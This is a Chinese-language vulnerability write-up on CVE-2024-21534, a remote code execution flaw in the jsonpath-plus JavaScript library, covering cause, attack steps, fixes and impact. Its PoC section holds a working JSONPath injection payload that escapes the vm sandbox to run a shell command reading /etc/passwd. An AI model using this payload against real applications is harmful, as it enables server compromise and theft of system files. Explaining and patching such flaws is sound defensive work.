JSONPath Plus Remote Code Execution (RCE) 漏洞

jsonpath-plus 是一个用于查询和操作 JSON 数据的 JavaScript 库,类似于 XML 的 XPath。在 10.2.0 之前的版本中,存在一个严重的安全漏洞,编号为 CVE-2024-21534,攻击者可以利用此漏洞在服务器上执行任意代码,即远程代码执行(RCE)。

漏洞原理

该漏洞源于 jsonpath-plus 未能充分过滤用户输入,导致攻击者可以通过构造恶意的 JSONPath 表达式来执行任意 JavaScript 代码. jsonpath-plus 内部使用了 Node.js 的 vm 模块,该模块允许在沙箱环境中运行代码。但如果未对输入进行适当的清理,攻击者便可利用 vm 模块执行恶意代码.

即使在 10.0.0 版本之后,jsonpath-plus 尝试修复此漏洞,但仍可以使用不同的Payload绕过。

实际应用例子

假设你有一个在线商店,允许用户使用 JSONPath 查询商品信息。如果你的应用使用了存在漏洞的 jsonpath-plus 版本,攻击者可以构造一个包含恶意 JavaScript 代码的 JSONPath 表达式,例如读取服务器上的敏感文件或执行系统命令[1]。

攻击步骤

  1. 恶意输入构造:攻击者创建一个包含恶意 JavaScript 代码的 JSONPath 表达式。
  2. 注入点 :将恶意 JSONPath 表达式提供给应用程序的端点,该端点使用 jsonpath-plus 处理用户提供的 JSON 数据查询。
  3. 代码执行 :应用程序使用 vm 模块评估表达式,而没有进行适当的清理,导致攻击者的代码在服务器上执行。

PoC Demo

javascript 复制代码
// index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

// 恶意代码,例如读取 /etc/passwd 文件
const maliciousCode = 'require("child_process").exec("cat /etc/passwd")';

// 构造包含恶意代码的 JSONPath 表达式
const maliciousPath = `$[(this.constructor.constructor("${maliciousCode}")())]`;

// 使用 JSONPath 执行查询
const result = JSONPath({
  json: data,
  path: maliciousPath
});

修复方案

  1. 升级 jsonpath-plus:升级到 10.2.0 或更高版本,该版本已修复此漏洞。
  2. 代码审查:检查代码中是否存在可能重新启用不安全功能的自定义配置,并进行相应调整。
  3. 输入清理:始终确保对用户输入进行适当的清理,以防止注入攻击。

影响

  • 未授权访问:攻击者可以获得对系统的未授权访问。
  • 数据泄露:敏感信息可能被暴露或窃取。
  • 系统入侵:可能导致完整的系统入侵,从而导致服务中断或其他攻击。

其他受影响的应用

IBM App Connect Enterprise 存在由于 jsonpath-plus 导致的多重漏洞。

相关推荐
专注VB编程开发20年1 分钟前
asp.net mvc如何简化控制器逻辑
后端·asp.net·mvc
用户67570498850231 分钟前
告别数据库瓶颈!用这个技巧让你的程序跑得飞快!
后端
千|寻1 小时前
【画江湖】langchain4j - Java1.8下spring boot集成ollama调用本地大模型之问道系列(第一问)
java·spring boot·后端·langchain
程序员岳焱1 小时前
Java 与 MySQL 性能优化:MySQL 慢 SQL 诊断与分析方法详解
后端·sql·mysql
龚思凯1 小时前
Node.js 模块导入语法变革全解析
后端·node.js
天行健的回响1 小时前
枚举在实际开发中的使用小Tips
后端
wuhunyu1 小时前
基于 langchain4j 的简易 RAG
后端
techzhi1 小时前
SeaweedFS S3 Spring Boot Starter
java·spring boot·后端
写bug写bug2 小时前
手把手教你使用JConsole
java·后端·程序员